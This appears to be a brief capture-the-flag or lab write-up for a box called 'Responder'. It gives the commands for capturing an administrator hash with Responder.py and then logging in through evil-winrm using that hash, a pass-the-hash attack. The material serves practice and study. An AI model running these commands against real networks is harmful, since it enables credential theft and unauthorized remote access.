Responder

Personal Rating: Very Easy

Hash Catching with Responder

I could actually just run Responder to get the admin hash and then evil-winrm onto the box:

sudo python Responder.py -Pv -I tun0 <IP>

<SNIP>

evil-winrm -H <hash> -i <IP>